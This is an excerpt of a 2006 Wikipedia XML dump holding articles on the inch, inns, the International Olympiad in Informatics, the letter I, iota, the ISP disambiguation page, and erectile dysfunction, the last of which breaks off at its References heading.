The English word ''inch'' comes from Latin ''[[uncia]]'' meaning &quot;one twelfth part&quot; (in this case, one twelfth of a foot); the word ''[[ounce]]'' (one twelfth of a troy pound) has the same origin. In some other languages, the word for &quot;inch&quot; is similar to or the same as the word for &quot;thumb&quot;; for example, [[French language|French]]: ''pouce'' inch, ''pouce'' thumb; [[Italian language|Italian]]: ''pollice'' inch, ''pollice'' thumb; [[Spanish language|Spanish]]: ''pulgada'' inch, ''pulgar'' thumb; [[Portuguese language|Portuguese]]: ''polegada'' inch, ''polegar'' thumb; [[Swedish language|Swedish]]: ''tum'' inch, ''tumme'' thumb; [[Dutch language|Dutch]]: ''duim'' inch, ''duim'' thumb; [[Sanskrit language|Sanskrit]]: ''Angulam'' inch, ''Anguli'' Finger.

==International inch==
{{unit of length|
|name= inch
|m= 0.0254
|cm= 2.54
|km= 0.0000254
|mm= 25.4
|ang= 254,000,000
|au= 1.697885129e-13
|parsec= 8.231579396e-19
|ly= 2.684782118e-18
|in= 1
|ft= 0.08333
|yd= 0.02778
|mi= 0.000015783
|n-mi= 0.000013715
|s-mi= 0.000015783
|fathom= 0.013888889
|furlong= 0.000126263
}}
Historically, the inch has referred to several slightly different units of length, used in different parts of the world. There was little uniformity; different countries, and even different cities within the same country, used their own standard length. The only &quot;inch&quot; still in use today is the [[English unit]]. Most countries which previously had their own separate definitions of the inch, have converted to using the metric system instead. However, the inch remains a common and popular unit of measurement in the United States, the United Kingdom and in Canada, along with the mile, pound and others, despite official attempts to eradicate it. In the US and the UK, [[Human height|personal heights]] are expressed in feet and inches by people of all ages.

The international inch is defined in terms of the metric system of units to be exactly 25.4 [[millimetre|mm]]. This definition was agreed upon by the U.S. and countries of the [[Commonwealth of Nations]] in [[1958]]. Prior to that, the U.S. and Canada each had their own, slightly different, definition of the inch in terms of metric units, while the UK and other Commonwealth countries defined the inch in terms of the [[Imperial Standard Yard]]. The definition adopted was the Canadian definition. A metric inch was also used in some [[Soviet computing|Soviet clones]] of Western computers.  The clones were a slightly scaled-down copy, and hence Soviet parts did not match exactly with Western ones.

Even in generally metric countries, the inch is used for various purposes, such as the sizes of bicycle tyres or television and computer screens.

==The thou==

The '''thou''' or '''mil''' is a unit sometimes used in engineering equivalent to one-thousandth of an international inch, and thus defined to be 25.4 µm. Use of the thou is now generally deprecated in favour of the use of [[SI]] units. When &quot;thou&quot; is the measurement, its &quot;th&quot; is pronounced as in &quot;thousand&quot; &amp;mdash; [[International Phonetic Alphabet|IPA]] {{IPA|/&amp;#952;a&amp;#650;/}} &amp;mdash; and not as in &quot;that&quot; or the pronoun &quot;thou&quot; &amp;mdash; IPA {{IPA|/ða&amp;#650;/}}.

==Notation==
The international standard symbol for inch is '''in''' (see [[ISO 31-1]], Annex A). In some areas, the unit inch is also denoted by a [[prime (mark)|double prime]] (ex. 30&amp;#x2033; = 30&amp;nbsp;in), often approximated by a [[quotation mark]]. Similarly, [[foot (unit of length)|feet]] can be denoted by a prime (often approximated by an [[apostrophe (mark)|apostrophe]]), and then 6&amp;prime;2&amp;#x2033; means 6 feet plus 2 inches. However, since the prime and double prime are the international standard symbols for [[arcminute]]s and [[arcsecond]]s, this can, in certain contexts, cause confusion.

== Sweden ==

In the [[19th century]], [[Sweden]] devised a way into the metric world. First, in 1855–1863 the existing &quot;working inch&quot; was changed into a &quot;decimal inch&quot; which was 1/10&lt;sup&gt;th&lt;/sup&gt; foot or approximately 0.03 metres. Proponents argued that a decimal system simplifies calculations, but having two different inch measures turned out to be so complicated that in 1878–1889 it was agreed to introduce the metric units.   However, the decimal inch survived in some building construction trades, and decimal fractions (tenths, hundredths, thousandths) of the foot are still used in [[land surveying]].

==See also==

*[[English units]]
*[[Imperial units]]
*[[U.S. customary units]]
*[[Gry]]
*[[Sacred Jewish inch]]

==External links==
*[http://www.unitconversion.org/unit_converter/length.html Length Converter]
*[http://www.unitconversion.org/unit_converter/length-ex.html?unit=inch&amp;value=1 Inch Conversion table]
*[http://www.onlineconversion.com/length_common.htm Conversion of length: Inches and feet to centimetres and metres]

[[Category:Units of length]]
[[Category:Imperial units]]
[[Category:Customary units in the United States]]
[[Category:Human-based units of measure]]

[[bg:Инч]]
[[ca:Polzada]]
[[da:Tomme]]
[[de:Zoll (Einheit)]]
[[et:Toll (pikkusühik)]]
[[es:Pulgada]]
[[eo:Colo]]
[[fa:اینچ]]
[[fr:Pouce (unité)]]
[[hu:H%C3%BCvelyk_%28m%C3%A9rt%C3%A9kegys%C3%A9g%29]]
[[la:uncia]]
[[ms:Inci]]
[[nl:Inch]]
[[no:Tomme]]
[[ja:インチ]]
[[pl:Cal (jednostka)]]
[[pt:Polegada]]
[[ru:Дюйм]]
[[simple:Inch]]
[[sl:Palec]]
[[sv:Tum]]
[[uk:Дюйм]]
[[zh:英寸]]</text>
    </revision>
  </page>
  <page>
    <title>Inn</title>
    <id>14776</id>
    <revision>
      <id>41778272</id>
      <timestamp>2006-03-01T18:05:10Z</timestamp>
      <contributor>
        <ip>195.217.52.130</ip>
      </contributor>
      <comment>/* See also */ m: add coaching inn</comment>
      <text xml:space="preserve">:''For the river named '''Inn''', see [[Inn River]]''.

'''Inns''' are [[establishment]]s where [[traveller]]s can procure [[food]], [[drink]], and [[lodging]].  Found in [[Europe]], they first sprang up when the [[Ancient Rome|Romans]] built their famous system of [[highway]]s two [[millennia]] ago.  Some inns in Europe are [[century|centuries]] old. In addition to providing for the needs of travellers, inns traditionally acted as [[community]] gathering places.

In today's [[automobile]]-ridden [[world]], real inns are fast dying out.  The few that are left function primarily as [[pub]]s. In [[North America]], inns are usually [[alcoholic beverage|alcohol]]-serving [[restaurant]]s that have never provided lodging or serviced the needs of travellers.  In Europe, it is the provision of accommodation, if anything, that now differentiates inns from [[tavern]]s, [[alehouse]]s and [[pubs]].  These later tended only to supply alcohol (although in the [[United Kingdom|UK]] the conditions of their licence sometimes required them to have a nominal supply of food and soft drinks).  Inns tend to be grander and more long-lived establishments.  Famous London examples include [[the George]] and [[the Tabard]].  There is however no formal distinction between an inn and other kinds of establishment, and many pubs will use the name &quot;inn&quot;, either simply because they are long established, or to summon up a particular kind of image.

The original functions of an inn are now usually split among separate establishments, such as [[hotel]]s, [[lodge]]s, [[motel]]s, [[pub]]s, [[restaurant]]s, and [[tavern]]s.  In North America, the lodging aspect of the word &quot;inn&quot; lives on in hotel [[brand]] names like [[Holiday Inn]], and in some state laws that refer to lodging operators as innkeepers.

The German words for &quot;inn&quot;, &quot;innkeeper&quot;, and &quot;inkeeping&quot; illustrate the historical importance of inns.  An innkeeper is '''Wirt''' (a [[host]]), the inn itself is a '''Wirtshaus''' (a host's house), and innkeeping is '''Wirtschaft'''.  The last word literally means hosting or [[hospitality]], but is also used to mean [[economics|economy]] and [[business]] in general.  In the [[Greek language]], the word for economy (''oikos'' &quot;house&quot; + ''nomos'' &quot;law&quot;) is actually identical to [[housekeeping]].

The [[Inns of Court]] were originally ordinary inns where [[lawyer]]s met to do business, but have become institutions of the legal profession in [[London]].

==See also==

*[[Public house]]
*[[Coaching inn]]
*[[Caravanserai]]
*[[List of lodging types]]
*''[[The White Horse Inn]]''

==External links==
*[http://www.ratebeer.com/Beer-News/Article-312.htm A Brief History of the British Pub]

[[Category:Drinking establishments]]
[[Category:Hotel types]]

[[de:Gaststätte]]
[[es:Posada]]
[[ja:&amp;#23487;&amp;#27850;&amp;#26045;&amp;#35373;]]
[[nl:herberg]]</text>
    </revision>
  </page>
  <page>
    <title>International Olympiad in Informatics</title>
    <id>14777</id>
    <revision>
      <id>37262344</id>
      <timestamp>2006-01-29T21:41:03Z</timestamp>
      <contributor>
        <username>Algorithmus ua</username>
        <id>855449</id>
      </contributor>
      <text xml:space="preserve">The '''International Olympiad in Informatics (IOI)''' is an annual [[Computer science|informatics]] [[international science olympiad|competition]] for secondary school students. The first IOI was held in [[1989]].

The contest consists of two days computer programming, solving problems of an [[algorithm|algorithmic]] nature.  Students compete on an individual basis, with up to four students competing from each participating country (with around 81 countries in 2004).  Students are selected through national computing contests. For example, in Britain, students compete in the [[British Informatics Olympiad|BIO]] for a place in the national team.

== Structure of the competition ==
On each of the two competition days, the students are typically given three problems which they have to solve in five hours. Each student works on his/her own, with only a computer and no other help allowed, specifically no communication with other contestants, books etc. Usually to solve a task the contestant has to write a computer program (in [[C programming language|C]], [[C++]] or [[Pascal programming language|Pascal]]) and submit it before the five hour competition time ends. Later on, the program is graded by being run with secret test data, consisting of multiple (typically 10 or 20) test cases. The contestant is awarded points for each test case that his program solves correctly, and within the given time and memory limit. In some cases, the contestant's program has to interact with a secret computer library, which allows problems where the input is not fixed, but depends on the program's actions - for example in game problems. Another new type of problems has known inputs which are publicly available already during the five hours of the contest. For these, the contestants have to submit the according output file instead of a program, and it is up to them whether they obain the output files by writing a program (possibly exploiting special characteristics of the input), or by hand, or by a combination of these means.

The scores from the two competition days and all problems are summed up separately for each contestant. At the awarding ceremony, contestants are awarded medals depending on their relative total score. The top 50% of the contestants (i.e. two per country, on average) are awarded medals, such that the relative number of gold : silver : bronze : no medal is approximately 1:2:3:6 (thus 1/12 contestants get a gold medal).

== List of IOI websites and locations ==

* '''IOI 2009''' will be held in [[Bulgaria]], [[2009]]
* '''IOI 2008''' will be held in [[Egypt]], [[2008]]
* '''IOI 2007''' will be held in [[Croatia]], [[2007]]
* '''IOI 2006''' will be held in [[Mérida, Yucatán|Mérida]], [[Yucatán]], [[Mexico]], [[August 13]] - [[August 20|20]], [[2006]]
* '''IOI 2005''' was held in [[Nowy S&amp;#261;cz]], [[Poland]], [[August 18]] - [[August 25|25]], [[2005]] [http://www.ioi2005.pl/]
* '''IOI 2004''' was held in [[Athens]], [[Greece]], [[September 11]] - [[September 18|18]], [[2004]] [http://www.ioi2004.org/]
* '''IOI 2003''' was held in [[Wisconsin]], [[United States|USA]], [[August 16]] - [[August 23|23]], [[2003]] [http://www.ioinformatics.org/ioi2003/]
* '''IOI 2002''' was held in [[Yongin|Yong-In]], [[Republic of Korea]], [[August 18]] - [[August 25|25]], [[2002]] [http://www.ioi2002.or.kr/]
* '''IOI 2001''' was held in [[Tampere]], [[Finland]], [[July 14]] - [[July 21|21]], [[2001]] [http://www.ioi2001.edu.fi/]
* '''IOI 2000''' was held in [[Beijing]], [[People's Republic of China]], [[September 23]] - [[September 30|30]], [[2000]] [http://www.ioi2000.org.cn/]
*'''IOI 1999''' was held in [[Antalya|Antalya-Belek]], [[Turkey]], [[October 9]] - [[October 16|16]], [[1999]] [http://www.ioi99.org.tr/]
* '''IOI 1998''' was held in [[Setúbal]], [[Portugal]], [[September 5]] - [[September 12|12]], [[1998]]
* '''IOI 1997''' was held in [[Cape Town]], [[South Africa]], [[November 30]] - [[December 7]], [[1997]]
* '''IOI 1996''' was held in [[Veszprém]], [[Hungary]], [[July 25]] - [[August 2]], [[1996]]
* '''IOI 1995''' was held in [[Eindhoven]], The [[Netherlands]], [[June 26]] - [[July 3]], [[1995]] [http://olympiads.win.tue.nl/ioi95/]
* '''IOI 1994''' was held in [[Haninge]], [[Sweden]], [[July 3]] - [[July 10|10]], [[1994]]
* '''IOI 1993''' was held in [[Mendoza]], [[Argentina]], [[October 16]] - [[October 25|25]], [[1993]] [http://www.ioi.org.ar/mendoza/]
* '''IOI 1992''' was held in [[Bonn]], [[Germany]], [[July 11]] - [[July 21|21]], [[1992]]
* '''IOI 1991''' was held in [[Athens]], [[Greece]], [[May 19]] - [[May 25|25]], [[1991]]
* '''IOI 1990''' was held in [[Minsk]], [[Belarus|Belarusian SSR]], [[Soviet Union]], [[July 15]] - [[July 21|21]], [[1990]]
* '''IOI 1989''' was held in [[Pravets|Pravetz]], [[Bulgaria]], [[May 16]] - [[May 19|19]], [[1989]].

== See also ==

* [[International science olympiad]]
* [[ACM International Collegiate Programming Contest]]
* [[Central European Olympiad in Informatics]]
* [[British Informatics Olympiad]]
* [[National Olympiad in Informatics, China]]

== External links ==

*[http://www.ioinformatics.org/ IOI International Committee Website]
*[http://olympiads.win.tue.nl/ioi/ IOI Secretariat Website]
*[http://www.ioi2005.pl/ IOI 2005 Website]
*[http://www.ioiforum.org/ Olympiad Forum in Informatics] (had been closed and now reborn as a Chinese-only web forum)
*[http://www.tobias-thierer.de/olympiads-photos.html Photos] from some former Informatics Olympiads.

[[Category:Olympiad]]
[[Category:Programming contests]]

[[de:Internationale Informatik-Olympiade]]
[[fr:Olympiades internationales d'informatique]]
[[ko:&amp;#44397;&amp;#51228; &amp;#51221;&amp;#48372; &amp;#50732;&amp;#47548;&amp;#54588;&amp;#50500;&amp;#46300;]]
[[th:คอมพิวเตอร์โอลิมปิก]]
[[zh:&amp;#22269;&amp;#38469;&amp;#20449;&amp;#24687;&amp;#23398;&amp;#22885;&amp;#26519;&amp;#21305;&amp;#20811;]]
[[ru:Международная олимпиада по информатике]]</text>
    </revision>
  </page>
  <page>
    <title>I</title>
    <id>14778</id>
    <revision>
      <id>41671276</id>
      <timestamp>2006-02-28T23:41:41Z</timestamp>
      <contributor>
        <username>Cameron Nedland</username>
        <id>652628</id>
      </contributor>
      <comment>/* Usage */</comment>
      <text xml:space="preserve">{{AZ|uc=I|lc=i}}
:''Due to MediaWiki's uppercase algorithm, [[ı]] (lower case [[dotless i]]) will bring you here.
'''I''' is the ninth [[letter]] in the [[Latin alphabet]].

==History==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse;text-align:center;&quot;
|-  bgcolor=&quot;#EEEEEE&quot;
! Egyptian hieroglyph {{unicode|&amp;#705;}}
! Proto-Semitic Y
! Phoenician Y
! Etruscan I 
! Greek I
|-----
|&lt;hiero&gt;D36&lt;/hiero&gt;
|[[Image:Proto-semiticI-02.png]]
|[[Image:PhoenicianI-01.png]]
|[[Image:EtruscanI-01.png]]
|[[Image:GreekI-01.png]]
|}

In Semitic, the letter ''Yôdh'' was probably originally a [[pictogram]] for an arm with hand, derived from a similar hieroglyph that had the value of {{unicode|/&amp;#705;/}} in Egyptian, but was reassigned to /j/ (pronounced as English [[Y]] in &quot;yoke&quot;) by Semites, because their word for &quot;arm&quot; began with that sound.  This letter could also be used for the [[vowel]] sound /i/, mainly in foreign words. 

The Greeks adopted a form of this Phoenician ''yodh'' as their letter ''[[iota]]'' (&amp;Iota;, &amp;iota;). It stood for the vowel /i/, the same as in the [[Old Italic alphabet]].  In Latin (as in Modern Greek), it was also used for the consonant sound of /j/.  The modern letter [[J]] was originally a variation of this letter, and both were interchangeably used for both the vowel and the consonant, only coming to be differentiated in the [[16th century]].

In modern English, I represents different sounds, mainly a &quot;long&quot; diphthong /ai/, that developed from /i:/ during the [[Great vowel shift]] of the [[15th century]], as well as the &quot;short&quot;, open /I/ as in &quot;bill&quot;. The dot over the lowercase 'i' is sometimes called a ''[[tittle]]''. In the [[Turkish alphabet]], dotted and [[dotless I]] are considered separate letters and both have uppercase (I, [[I-dot|&amp;#304;]]) and lowercase (&amp;#305;, i) forms.



==Codes for computing==
{{Letter
|NATO=India
|Morse=··
|B1=○
|B2=●
|B3=○
|B4=●
|B5=○
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] I is codepoint U+0049 and the [[minuscule|lowercase]] i is U+0069.

The [[ASCII]] code for capital I is 73 and for lowercase i is 105; or in [[Binary numeral system|binary]] 01001001 and 01101001, correspondingly.

The [[EBCDIC]] code for capital I is 201 and for lowercase i is 137.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#73;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#105;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for I==
* In [[astronomy]], ''i'' stands for the [[orbital inclination]].
* In [[biochemistry]], I is the symbol for [[isoleucine]].
* In [[chemistry]], I is the symbol for [[iodine]].
* In [[computing]], &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; is the [[Deprecation|deprecated]] [[HTML element|HTML tag]] for marking [[italic type]].  It is also commonly used as the name of the index [[variable]] in [[for loop]]s when no other name suggests itself.
* In [[English language|English]], '''I''' is the [[nominative case]] of the [[pronoun]] denoting the first [[grammatical person|person]], singular.  See [[Wiktionary:I]].
* In [[List of international license plate codes|international licence plate codes]], I stands for [[Italy]].
* In the [[International Phonetic Alphabet]], the letter I appears in three forms; its lowercase version, /i/, refers to the [[close front unrounded vowel]]; its barred version, {{IPA|/ɨ/}}, stands for the [[close central unrounded vowel]]; and its small capital version, {{IPA|/ɪ/}}, represents the [[near-close near-front unrounded vowel]].
* In [[mathematics]], 
** ''i'' denotes the [[imaginary unit]], a [[complex number]] whose square is equal to &amp;minus;1.
** I denotes the [[closed unit interval]], which contains all real numbers from 0 to 1, inclusive
** '''I''' denotes the [[identity matrix]].
** ''i'' is commonly used as an [[Index (mathematics)|index]] [[variable]] to [[coordinate vector]]s or [[Matrix (mathematics)|matrices]]. It is written as a [[subscript]] after the indexed element. When used with matrices, it usually indexes rows, in which case columns are usually indexed by ''j''.
* In [[physics]] and [[electronic engineering]], ''I'' is often the variable for [[electric current]]. Sometimes both ''I'' and ''i'' are used for static and small signal respecively. Therefore the imaginary unit is represented by ''j'' instead.
* In [[radio]]communication, I is the [[ITU prefix]] allocated to [[Italy]].
* In [[Roman numerals]], I denotes the number [[1 (number)|1]] (there are also separate [[Unicode]] characters for this number, 0x2160 &quot;Ⅰ&quot; and 0x2170 &quot;ⅰ&quot;).
* In [[structural engineering]] ''I'' is used for the [[moment of inertia]]
* In [[music]],
**the Roman numeral I is the [[tonic (music)|tonic]] [[scale degree]], [[Chord (music)|chord]], or [[diatonic function]], when distinguished I = major and i = minor.
** ''I'' is the name of the winner of the [[Norway|Norwegian]] version of [[Pop Idol]] and also [[World Idol]], [[Kurt Nilsen]]'s debut album. See [[I (album)]].
** ''[[I (The Magnetic Fields album)|i]]'' is the name of an album by [[The Magnetic Fields]].
** ''i'' is the name of a Portuguese [[post-rock]] band
** ''[[I (EP)|I]]'' is the name of a song and EP by [[Sweden|Swedish]] [[tech metal]] band, [[Meshuggah]].
* In [[economics]], I is usually used to represent [[investment]].
* In [[television]], ''[[i (TV network)|i]]'' is the [[television network]] formerly known as PAX

==See also==
[[Ì]], [[Í]], [[Î]], [[Ï]], [[I-breve|&amp;#300;]], [[I-dot|&amp;#304;]]


{{AZsubnav}}

[[Category:Latin letters]]
[[Category:Vowels]]

[[als:I]]
[[bs:I]]
[[ca:I]]
[[cs:I]]
[[da:I]]
[[de:I]]
[[el:I]]
[[es:I]]
[[eo:I]]
[[fr:I]]
[[gl:I]]
[[ko:I]]
[[it:I]]
[[he:I]]
[[kw:I]]
[[la:I]]
[[nl:I]]
[[ja:I]]
[[no:I]]
[[nn:I]]
[[pl:I]]
[[pt:I]]
[[ro:I]]
[[ru:I (буква)]]
[[simple:I]]
[[sl:I]]
[[fi:I]]
[[sv:I]]
[[vi:I]]
[[yo:I]]
[[zh:I]]</text>
    </revision>
  </page>
  <page>
    <title>Iota</title>
    <id>14779</id>
    <revision>
      <id>41616027</id>
      <timestamp>2006-02-28T15:14:48Z</timestamp>
      <contributor>
        <username>Puttypeg</username>
        <id>243018</id>
      </contributor>
      <text xml:space="preserve">{{Table_Greekletters|letter=iota}}
:''For the esoteric programming language, see [[Iota and Jot]].''

'''Iota''' (upper case &amp;Iota;, lower case &amp;iota;) is the ninth letter of the [[Greek alphabet]].  In the system of [[Greek numerals]] it has a value of 10.

Iota is pronounced like a 'continental' i or English ee. In ancient Greek it occurred in both long and short versions, but this distinction has been lost in Modern Greek.

Upsilon participated as the second element in [[falling diphthong]]s, with both long and short vowels as the first element. Where the first element was long, the iota was lost in pronunciation at an early date, and was written in [[polytonic orthography]] as '''[[iota subscript]]''' in other words as a very small &amp;iota; under the main vowel, for instance {{polytonic|&amp;#8124; &amp;#8115; &amp;#8140; &amp;#8131; &amp;#8188; &amp;#8179;}}

The word iota is also used in [[English language|English]] to express a very small amount, because iota is the smallest letter in the Greek alphabet. 

The word is also used in a common English phrase, 'not one iota of difference', to signify a meaningless distinction.  The phrase derives from [[Matthew 5:18]], and became common in the  [[theology|theological]] debate which arose around the time of the [[Nicene Creed]], regarding the nature of the [[Trinity|Holy Trinity]]. The argument centered on which of two alternative Greek words, differing only in a single 'iota' letter, should be used in describing [[Jesus]]'s relationship to the Holy Trinity. One word, 'homo', would mean that Jesus was of the ''same'' substance as God the Father, and the other 'homoi', would mean that Jesus was of ''similar'' substance. 

The Iota symbol is used to sort items in the [[APL programming language]].

The lowercase Iota symbol is sometimes used to write the [[imaginary unit]] but more often latin [[i]] or latin [[j]] are used.

Letters that arose from Iota include the Roman [[I]] and [[J]].

[[Category:Greek letters]]

[[als:Ι]]
[[ca:Iota]]
[[da:Iota]]
[[de:Iota]]
[[el:Ιώτα]]
[[es:Ι]]
[[fr:Iota]]
[[ga:Ióta]]
[[ko:Ι]]
[[he:יוטא]]
[[nl:Iota]]
[[ja:Ι]]
[[pl:Jota (litera)]]
[[pt:Ι]]
[[sv:Jota]]
[[zh:Ι]]</text>
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  <page>
    <title>ISP</title>
    <id>14780</id>
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    <revision>
      <id>34807233</id>
      <timestamp>2006-01-11T21:43:17Z</timestamp>
      <contributor>
        <username>Chealer</username>
        <id>25824</id>
      </contributor>
      <minor />
      <comment>removed useless link</comment>
      <text xml:space="preserve">'''ISP''' may mean:
* [[Internet service provider]], an organization that offers users access to the Internet and related services.
* [[Information Systems Professional]], an [[Information Technology]] title and post-nominal.  Proper usage is &quot;I.S.P.&quot;.
* [[In-System Programming]], a way to configure programmable logic devices while they are installed in a larger system.
* Islip/Long Island [[MacArthur Airport]], ISP being the IATA Airport Code for it.
* [[Independent Solutions Provider]], provides solutions associated with a product or a final service to the client.
* [[Specific impulse]], represented by ''I&lt;sub&gt;sp&lt;/sub&gt;'', term used to describe rocket thrust.
* Illinois State Police, Law enforcement agencies across Illinois.
* The [[Invisibl Skratch Piklz]], a pioneering group of turntable artists in the early [[1990s]] that featured notable DJs such as [[Mix Master Mike]] and [[DJ Q-bert]].

{{TLAdisambig}}

[[de:ISP]]
[[ja:ISP]]</text>
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  </page>
  <page>
    <title>Erectile dysfunction</title>
    <id>14783</id>
    <revision>
      <id>41942097</id>
      <timestamp>2006-03-02T19:59:25Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Impotence of organic origin |
  ICD10       = N48.4 |
  ICD9        = {{ICD9|607.84}} |
}}
'''Erectile dysfunction''', also known as '''impotence''', is a [[sexual dysfunction]] characterized by the inability to develop or maintain an [[erection]] of the [[penis]] for satisfactory [[sexual intercourse]] regardless of the capability of [[Male ejaculation|ejaculation]]. There are various underlying causes, including Type 1 diabetes, many of which are medically reversible. 

Due to its personal nature, the subject has been [[taboo]] for a long time, and is the stuff of many [[urban legend]]s. Since the [[1930s]], folk remedies have been advertised widely for the condition. The introduction of [[sildenafil]] (Viagra&amp;reg;) in the [[1990s]] caused a second wave of public attention, propelled in part by heavy advertising.

The Latin term ''impotentia coeundi'' describes simple inability to insert the penis into the [[vagina]]. It is now mostly replaced by more precise terms.

==Medical symptoms==
Erectile dysfunction is characterized by the inability to maintain [[erection]]. Normal erections during sleep and in the early morning suggest a psychogenic cause, while loss of these erections may signify underlying disease, often [[cardiovascular]] in origin. Other things leading to erectile dysfunction are [[diabetes mellitus]] (causing [[neuropathy]]) or [[hypogonadism]] (decreased [[testosterone]] levels due to disease affecting the [[testicle]]s or the [[pituitary gland]]).

==Medical diagnosis==
There are no formal tests to diagnose erectile dysfunction. Some [[blood test]]s are generally done to exclude underlying disease, such as [[diabetes]], [[hypogonadism]] and [[prolactinoma]].

==Clinical tests used to diagnose ED==
===Duplex ultrasound===
Duplex ultrasound is used to evaluate blood flow, venous leak, signs of atherosclerosis, and scarring or calcification of erectile tissue. Injecting prostaglandin, a hormone-like stimulator produced in the body, induces erection. Ultrasound is then used to see vascular dilation and measure penile blood pressure. Measurements are compared to those taken when the penis is flaccid.

===Penile nerves function===
Tests such as the bulbocavernosus reflex test are used to determine if there is sufficient nerve sensation in the penis. The physician squeezes the glans (head) of the penis, which immediately causes the anus to contract if nerve function is normal. A physician measures the latency between squeeze and contraction by observing the anal sphincter or by feeling it with a gloved finger inserted past the anus. Specific nerve tests are used in patients with suspected nerve damage as a result of diabetes or nerve disease.

===Nocturnal penile tumescence (NPT)===
It is normal for a man to have five to six erections during sleep, especially during rapid eye movement (REM). Their absence may indicate a problem with nerve function or blood supply in the penis. There are two methods for measuring changes in penile rigidity and circumference during nocturnal erection: snap gauge and strain gauge.

===Penile biothesiometry===
This test uses electromagnetic vibration to evaluate sensitivity and nerve function in the glans and shaft of the penis. A decreased perception of vibration may indicate nerve damage in the pelvic area, which can lead to impotence.

==Pathophysiology==
Penile erection is managed by two different mechanisms. The first one is the reflex erection, which is achieved by directly touching the penile shaft. The second is the psychogenic erection, which is achieved by erotic stimuli. The former uses the peripheral nerves and the lower parts of the spinal cord, whereas the latter uses the [[limbic system]] of the [[brain]]. In both conditions an intact neural system is required for a successful and complete erection. Stimulation of penile shaft by the [[nervous system]] leads to the secretion of [[nitric oxide]] (NO), which causes the relaxation of smooth muscles of corpora cavernosa (the main erectile tissue of penis), and subsequently penile erection.  Additionally, adequate levels of [[testosterone]] (produced by the [[testes]]) and an intact [[pituitary gland]] are required for the development of a healthy male erectile system. As can be understood from the mechanisms of a normal erection, impotence may develop due to hormonal deficiency, disorders of the neural system, lack of adequate penile blood supply or psychological problems.

A few causes of impotence may be [[iatrogenic]] (medically caused). Various [[antihypertensive]]s (medications intended to control [[arterial hypertension|high blood pressure]]) and some drugs that modify [[central nervous system]] response may inhibit erection by denying blood supply or by altering nerve activity.  Antidepressants, especially SSRIs, can cause impotence as a side effect.  Surgical intervention for a number of different conditions may remove anatomical structures necessary to erection, damage nerves, or impair blood supply.  Some studies have shown that [[male circumcision]] may result in an increased risk of impotence, [http://www.cirp.org/library/complications/palmer/] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=14979200&amp;dopt=Abstract] while others have found no such effect, [http://www.circs.org/library/senkul/] [http://www.circs.org/library/collins/] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16037710&amp;query_hl=13], and another found the opposite. [http://www.circs.org/library/laumann/]

==Treatment==
Treatment depends on the cause. Testosterone supplements may be used for cases with hormonal deficiency. However, usually the cause is lack of adequate penile blood supply as a result of age-dependent damage of inner walls of blood vessels. Previously, medical substances (e.g. [[apomorphine]]) were directly injected into the erectile tissue of penile shaft to treat impotence. In some cases refractory to the medical treatment, a penile implant (penile prosthesis) could be advised. After the discovery of orally active agents that increase the efficacy of NO, which dilates the blood vessels of corpora cavernosa, more conservative methods started to be used.

===PDE5 Inhibitors===
The prescription [[PDE5 inhibitor]]s [[sildenafil]] (Viagra&amp;reg;), [[vardenafil]] (Levitra&amp;reg;) and [[tadalafil]] (Cialis&amp;reg;) are prescription drugs which are taken orally. They work by blocking the action of [[PDE5]], which causes [[Cyclic guanosine monophosphate|cGMP]] to degrade. [[CGMP specific phosphodiesterase type 5 |cGMP]] causes the smooth muscle of the arteries in the penis to relax, allowing the [[corpus cavernosum]] to fill with blood.

===PT-141===
The experimental drug [[PT-141]] does not act on the vascular system like the former compounds but increases sexual desire and drive in male as well as female. It is applied as a nasal spray PT-141 and works by activation of [[melanocortin]] [[receptor (biochemistry)|receptor]]s in the brain. It is awaiting FDA approval.

===Ginseng===
A [[double-blind]] study appears to show evidence that [[ginseng]] is better than placebo: see the [[ginseng]] article for links and more details.

===Enzyte===
Enzyte is a product that has been advertised by saturation coverage on television channels such as [[Court-TV]]. However, the Center for Science in the Public Interest ([[CSPI]]) has filed a complaint with the [[Federal Trade Commission]] (FTC) about Enzyte for deceptive advertising. It is manufactured by Berkeley Nutritionals, which is alleged to be the subject of an investigation by the Attorney General of [[Ohio]] and the defendant in class-action lawsuits.

Enzyte is a supplement that claims to increase the male [[libido]] or frequency of erections of the [[penis]].  Commercials for Enzyte are shown regularly on [[television]].  These commercials feature a man named Bob who never stops smiling, apparently because he had taken Enzyte and improved the size of his sex organs. The commercials are riddled with symbolic [[Phallic symbol|phallic]] imagery, e.g. [[golf]] clubs, remarkably tall glasses of iced tea, and a hose spraying barely a trickle of water (carried by someone who doesn't use Enzyte).  

The effectiveness of Enzyte is in dispute.  Some medical professionals in fact advise against taking Enzyte, saying that it can lead to damage.  The [[Center for Science in the Public Interest]] have urged the [[Federal Trade Commission]] to disallow further television [[advertising]] for Enzyte due to a lack of proper studies supporting claims. Enzyte maker Berkeley Premium Nutraceuticals, Inc., is currently under a [[class action lawsuit]] for [[false advertising]].  

Enzyte is said to contain: ''[[Puncture Vine|Tribulus terrestris]]''; Yohimbe Extract; [[Niacin]]; [[Epimedium]]; ''[[oat|Avena sativa]]''; Zinc Oxide; Maca; Muira Pauma; ''[[Ginkgo]] biloba''; L-[[Arginine]]; [[Saw Palmetto]]. Other ingredients: gelatin, rice bran, oat fiber, magnesium stearate, silicon dioxide.

==History==
Dr. [[John R. Brinkley]] began a fad for finding cures for male impotence during the [[1930s]]. He used the medium of radio to achieve the same kind of advertising boom to treat the same kind of symptoms.

In the [[1930s]] the [[United States|American]] radio airwaves were bombarded with such advertising, first from domestic stations and then upon action by the [[American Medical Association]] the media blitz was shifted to superpower [[Mexican]] [[border-blasters]].

Surgeons began providing inflatable [[penile implant]]s in the [[1970s]].

==References==
